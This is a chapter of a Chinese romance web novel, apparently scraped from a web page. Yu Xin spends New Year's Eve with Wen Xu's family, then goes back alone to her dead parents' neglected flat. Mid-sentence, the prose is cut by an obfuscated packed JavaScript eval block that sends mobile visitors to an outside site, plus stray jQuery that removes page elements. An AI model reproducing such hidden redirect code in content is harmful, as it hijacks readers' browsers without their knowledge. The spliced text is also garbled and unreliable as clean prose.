一通电话打来，还是刚刚那个陌生号码。
闻叙开门见山：“在干嘛。”
喻鑫张了张嘴，最后只回了一句“没干嘛”。
“你现在方便出来么，Milo也想你了。”
“嗯。”
喻鑫抱膝蹲在行李箱边，迷迷糊糊快要睡着的时候，看见面前打来一束明亮的车灯。
她被照得有些晃眼，抬手去遮，那车似乎也意识到了，打了个方向，横停在她面前。
门一开，毛茸茸的Milo第一个下车，扑倒了本就腿麻的她。
喻鑫躺在冰凉的水泥地上，一边傻笑，一边躲着Milo亮晶晶的舌头。它是那么暖和，就像一个大型的暖手袋，让她一点点恢复了体温。
上一秒她还玩得开心，下一秒，看见穿着得体的闻叙母亲就站在自己面前，喻鑫瞬间傻眼。
她挣扎着站起，说了句“阿姨好”。
“程叔回老家了，我爸喝了点酒，我就让我妈陪我来了。”闻叙说着，一把抱起那个大家伙，强行将它塞回车里。
喻鑫僵硬地“嗯”了一声。
“上车吧。”闻母微笑道，“外面冷。”
闻母先行一步上了驾驶座，闻叙正准备开门，看见她身边的行李箱，似是想要问些什么，但到底没开口，只是转而打开后备箱，帮她把行李搬了进去。
喻鑫忙着拍打自己沾了一圈灰的衣服，放鞭炮似的“劈里啪啦”拍了半天，她看向闻叙：“应该不脏了吧？”
闻叙转头看向她，嘴角不由得扬起，上前两步：“别动。”
喻鑫的视野忽而一暗，冷冽的空气中多了些令人安神的气息。她近距离盯着他的大衣领口，感受着他的指尖拨动着她的头发，动作好是轻柔，让她有点儿发痒。
嗯，还好今天下午刚洗的头。
“好了。”闻叙说着，上前打开车门，一把把Milo按住，“快上车。”
两人一番配合，成功把Milo夹在中间，没法跳车了。
原本拥堵的马路，此刻空无一人。SUV一路疾驰，驶出老城区，越过高架，抵达了那座熟悉的别墅。
门上挂着一双红灯笼，充满了节日氛围。
上一次来到这里，喻鑫还曾感慨面积太大，未免会显得冷清。现在她意识到，并不是地方越小就越温馨。
室内温度宜人，Milo刚被擦干净爪子，就迫不及待进屋跑酷，四只脚在大理石地面上拍得“哒哒”响。
屋内也挂着红灯笼和中国结，每个角落摆放的鲜花都红灿灿的，Milo飞来跃去，穿行其中，却又能精准避开。
“今晚也没喝酒啊，上头成这样。”闻母无奈地看着它，眼里满是慈爱，“小喻有什么想喝的吗？”
突然被点到的喻鑫一愣，忙道：“水就好了。”
大抵看出她的不自在，闻母拍拍闻叙：“你带她去冰箱挑吧。”
两米多的双开门冰箱一开，俨然像是打开了超市的冷藏柜，五花八门的饮料让人目不暇接。而一旁的嵌入式酒柜里，整整齐齐码满了酒。大概世界末日了，躲在这里光靠喝的也能活一年。
喻鑫看得选择困难症都犯了，最后只得还是闻叙做主，挑了一篮子看起来都很好喝的饮料，拎回了客厅。
客厅内，闻母像是一直在等待。见他们过来，她主动迎上前，给喻鑫递了个红包：“除夕快乐，你们好好玩，我先回房了，有什么事就叫我。”
喻鑫忙背过手去：“谢谢阿姨，但是红包就不用了。”
“一点心意，大过年的，就别推脱了。”闻母笑着拍拍她，“来我们家的小孩儿都有，你不收，回头闻叙该说我搞区别对待了。”
一旁的闻叙点点头：“后天就要开始走亲戚了，我妈可在意她的风评了。”
喻鑫：“我这个时间来打扰已经很麻烦你们了，真的不用……”
“不麻烦，毕竟头一回见他带朋友回家玩，平常他一个人只能跟狗玩，Milo都快烦他了。”
“妈，能少消遣我两句吗——”
喻鑫讶异地看向闻叙，等她回过神，闻母已经将红包塞进她口袋，大步离开。
“你没带其他朋友回来过吗？”她忍不住问。
闻叙向后捋了把头发，像是有些不满自己的“秘密”被泄露。他自顾自开了罐饮料，喝了一口才道：“太远了，也没谁好带的。”
“你不是朋友很多吗？”
闻叙没看她，只又喝了一口：“是吗？”
明明是罐饮料，被他喝得像是瓶酒。喻鑫好奇地拿起一罐同款饮料，打开尝了一口，甜津津的荔枝味儿，确实只是饮料。
“我一直以为，像你这样的人是没有烦恼的。”喻鑫陷在舒服的沙发里，近乎自言自语道。
“我确实没有啊。”
“真的吗？”喻鑫偏过头看他。
闻叙抬手推她脑袋，偏偏她也较上劲来，连推三次没推开后，他轻笑着叹了口气。
“别看了。”
喻鑫不依：“就看。”
“看我我也不承认。”
“我发现了，你这个人其实也没那么诚实。”
闻叙忍俊不禁：“你还好意思说别人。”
“怎么不好意思。”喻鑫理不直气也壮，“如果大家都会撒谎，我说几句谎话怎么了。”
虽然能说出她这般谎话的，也是世间少有。
“那也是，起码你还有自知之明。”
喻鑫不知道这话是不是在揶揄她。
但是无所谓了，室内的温度宜人，冰凉的饮料很好喝，玩累了懒洋洋趴在角落的Milo很可爱，她的包容心也由此放到无限大。
两人没再多争论什么，隔着一臂距离，靠在沙发上看春晚。
犹记得放假前，喻鑫还和翟疏雨畅想过，今年的春晚会有什么节目。
结果对方很是惊讶：“你居然看春晚？”
喻鑫也很惊讶：“你不看吗？”
一番对话后她才知道，不看春晚好像成了一种潮流。
喻鑫只好承认自己就是个土包子，她的除夕一直和春晚强相关。小时候家里还没有电视时，她会趴在窗户边，眺望对楼窗户上的电视投影，看无声春晚。再后来家里终于有了台二手电视，每年除夕，一家三口都会挤在小沙发上看春晚。
她常常看着看着就睡着了，那时候县里还没有禁鞭，零点时分，她会在爸爸或者妈妈的腿上被吵醒，迷迷瞪瞪地听着主持人说出“新年快乐”。
春节的鞭炮声很多年没响了。
她依然没能撑到零点，在口音有些难懂的相声节目中逐渐昏睡过去。她梦见自己又回到了那个又小又破，却很是温馨的家，她在妈妈腿上睡得好香，时间太晚了，妈妈将她打横抱起，送她回卧室。
她哼唧着，眼睛困到睁不开，凭直觉将妈妈抱紧了些，妈妈身上的味道总是令人安定——
咦？妈妈，你刚刚吃橘子了吗？
她太困了，困到都没法问出口。妈妈轻手轻脚地将她放到床上，温柔地掖好被子，连遮脸的碎发都悉心拨开。
不知道是不是睡得太香，她的小床好像比以往舒服得多。她陷在温暖又柔软的被褥里，在妈妈即将离开前，情不自禁说了一句“别走”。
她能感受到妈妈顿了一下，轻轻摸了摸她的头发，将被她弄乱的被角重新掖好，转身离开了。
这几个月来，喻鑫少有地睡了一个好觉。
她自被中坐起时，盯着完全陌生的环境懵了半分钟。
这应该是闻叙家的客卧，昨晚的记忆太模糊了，她都不记得自己是怎么进屋睡觉的。
掀开被子，她盯着自己的外裤又懵了一阵。
怎么会困成这样，连外裤都忘了脱便倒头就睡，可别把人家的床弄脏了。
一下床，喻鑫反复拍了拍床单，又检查了一番。
确定没有给人弄脏后，她将闻母的红包压在枕头下，走出了客卧。
别墅的采光很好，不像姑姑家好像永远处于下午四点。从二楼看去，远远就能望见客厅挑高的穹顶下，闻叙正陪着精力充沛的Milo玩追击游戏。
闻父则坐在单人沙发上看报纸，身着家居服的他比之前少了些严肃。不远处，闻母举着手机，努力帮疯跑的一人一狗捕捉下一帧。
喻鑫甚至不敢站着，只敢蹲下身来，双手扒着二楼的竖条围栏，从缝隙中近乎着迷地窥探着这番幸福景象。
因为嫉妒，她竟然有点儿开始讨厌闻叙。
你已经这么幸福了，怎么还可以不开心。
哪怕她知道，这根本不是闻叙的错。
在别人家迟起已经很不合适了，喻鑫没敢久留，理了理情绪，下楼朝客厅走去。
闻叙第一个听见脚步声，抬头看向楼梯。全速奔跑的Milo没反应过来，一头撞上他的腿，怼得他一个踉跄。
一番动静，很快也把另两位的目光吸引至楼梯。
喻鑫硬着头皮来到客厅，说了句“叔叔阿姨春节好”。
闻父阖上报纸，冲着她微笑一点头：“昨晚我喝了酒睡得早，没见上面，春节好。”
闻母则把她向餐厅迎：“我们是北方人嘛，初一早上习惯吃饺子，不知道你爱不爱吃。不喜欢的话，也有汤圆，或者煲点粥……”
“没关系阿姨。”喻鑫忙道，“我喜欢吃饺子。”
喻鑫一个人坐在餐厅吃饺子，一只刚下肚，听见“哒哒哒”的脚步声，是Milo小跑着过来了。
当然，后面还跟着闻叙。
闻叙从冰箱拿了罐饮料，随手拉开她斜对面的椅子坐下，“咔哒”扯开拉环，喝了一口：“好吃么？”
喻鑫点头：“好吃。”
这话倒不是客气，大概是北方人的特长，她第一次吃到这么好吃的饺子。
“等一下。”闻叙忽然伸出一根手指，指挥起来，“你给它转个面，我看看，哦，行了，你吃吧。”
喻鑫不明所以，盯着自己刚夹的饺子看了半天：“怎么了？”
“你先吃，吃完告诉你。”
“……”
想着反正也不会毒死她，喻鑫当真三两口吃完了，味道和上一个一样美味。
“吃完了。”
闻叙刚刚还“指点江山”的手指，这会儿无意识拨动着罐上的拉环，笑了下：“那个是我包的。”
喻鑫一脸疑惑：“这是怎么认出来的？”
“你把它和我妈包的对比一下，就能看出来我包的有多丑了。”
她拨了拨剩下的饺子，在几个标致得就像工艺品的饺子中，果然藏了两个“歪瓜裂枣”。
闻叙：“你放心，馅都是我爸统一调的，手我也认真洗了两遍。”
喻鑫故意挑了一个“丑饺子”，垂眼认真咀嚼着。
她的脑海中，此刻全是一家三口和乐融融包饺子的样子。
莫名的，饺子吃起来有点儿苦涩，都怪闻叙，一定是他在里面放了什么坏东西。
吃完早餐，两人回到了客厅。
多亏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788065|173090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
Milo的存在，让喻鑫不至于尴尬。闻父途中接了个电话，便去书房工作了。闻母忙着打点室内的几瓶鲜花，偶尔和他们聊上两句。
问到自己时，喻鑫抬头乖乖应答，没问到时，她便低头和Milo玩。到最后Milo好像有点儿烦她了，想自己去玩玩具，还没溜出两步，生生被她抱着拽了回来。
Milo这会儿脸也不笑了，尾巴也不摇了，无奈地在她脚边一躺，任由她呼噜毛。
眼看闻母打理完最后一瓶花，时机正好，喻鑫站起身来：“阿姨，昨晚打扰你们了，谢谢你们让我留宿一晚，我先回去了。”
“不用谢。”闻母道，“那我让他爸送你。”
喻鑫忙摆手：“不用不用。”
“没事儿啊，也不远。”
“我……”喻鑫纠结了一下，“我打算回老家。”
“老家？”闻母顿了顿，“哦，你是擎县的对吧？”
那条视频流传那么广，想必他们一家都看到了。
喻鑫点点头：“嗯。”
“那你怎么回去呢？”
“我坐大巴回去。”
“我们送你去汽车站吧。”闻母说着起身，“刚好我们要去商场买点东西，顺路。”
汽车站的位置很偏，周围哪有什么正儿八经的商场。
但她到底没拗过闻母的坚持，坐上了车。
上次闻父去警局接他们的时候，开的也是这辆车。前面挂的中国结，显然是为了春节新布置的。
和上次一样，闻父开车，闻母坐在副驾。她扒着手指，数着初几有哪个亲戚要来，初几又要去哪个亲戚家，带什么礼。
对于人情往来这方面，母亲向来很擅长。每年过年，也是她安排好一切。
从前喻鑫总觉得跟在后面跑来跑去好麻烦，没想到有朝一日，这种麻烦也成了一种奢望。
一路来到汽车站，闻叙帮她拿下行李，还有后备箱的一盒糕点。
他按住她想要归还的手：“不行，过年不能空手走。”
“可我是空着手去的……”
“行了，外面冷，快进去吧，别误车了。”
闻叙不由分说给她转了个面，像第一次见面那样，推着她往前走。
大年初一的汽车站人流比她想象中多些，大家都是大包小包，拖家带口，耳畔不时传来声声祝福。
没带橘子，喻鑫忍着头晕和恶心坐了一路。直到下了车，冷风一吹，她终于再也忍不住，跑到垃圾桶旁，把早上刚吃的饺子全吐了出来。
那些温馨的、幸福的结晶，此刻成了垃圾堆上的一滩污秽。
喻鑫在卫生间漱了漱口，拖着行李箱上了路。
小县城地方很小，除了墓园那种靠近乡下的，城里基本去哪儿都能步行。
半小时后，她站在了那个熟悉的门口。
上次回来扫墓时，因为不愿面对，喻鑫特地没有回家。
而这次，无处可去的她只能来到这里。
门把手上落了层薄灰，去年的旧对联还没有撕，和对门鲜红的新对联对比鲜明。
她记得那天出事后，还在上课的她被班主任叫到门口，茫然地被二叔带到医院。很多记忆已经混乱到模糊了，关于这幢房子的最后回忆，是姑姑领她进屋简单收拾了下行李，便匆匆离开了。
因而，这间屋子里的大部分地方，还保留着父母离开那天的模样。
阳台上还晾着夏装，烟灰缸里是父亲揿灭的烟蒂。母亲那天应该打算要做上一大桌菜，厨房看着有些凌乱，她随手揭开一个锅盖，层层叠叠快要满溢的霉菌，让她险些又吐出来。
断电后的冰箱周围地面凝结着一团黑水，喻鑫忽然想起什么，打开冷冻层一看，母亲亲手包的几袋包子，已经烂成了一滩滩霉变的饼。
她赶忙关上冰箱，又去打开电闸，好像这样就能拯救些什么。
到最后，精疲力竭的喻鑫躲回了自己的房间。
这是从客厅隔出来的一块，因为面积太小，所有家具都是父亲手工特别定制的。彼时小小的她坐在父亲身边，给正在做工的父亲鼓掌加油，满心期待着即将到来的、独属于自己的小房间。
而现在，她缩在一乘一米七的小床上，看着方形的窗户将天空分割成狭长的四块。
冬日的天总是灰白，让人分不清时间。
手机忽然震了一下。
来自那个已经熟悉的，但忘了备注的号码。
“到家了吗？”
喻鑫只看了一眼，便按下熄屏键。
没有哪一刻，她如此厌恶收到闻叙的消息。
只要看到它，想到他，就会想起他那让人艳羡的温馨家庭。
一切都是如此和睦美好，衬得她是那么落魄可怜。
手机又震了一下。
喻鑫拧眉点开，还是来自那个讨厌的人。
“到哪里了？”
她到哪里重要吗，反正他一定和父母待在一起，或许会一起逛街，或许会一起吃饭，不管做什么，至少他的父母陪在他身边。
为什么要联系她，是在向她炫耀吗，还是在假惺惺地关心她可怜她，彰显他的善良。
虚伪、可憎、教人作呕。
手机又响了，这次是电话铃声。
喻鑫本没想接，但它实在太吵了，单调重复的旋律，逐渐将她心底的妒意和怒火尽数撩拨出来。
她用力按下通话键，不待对面开口，近乎嘶吼道：“闻叙，我讨厌你！讨厌你！讨厌你！不要再联系我了！”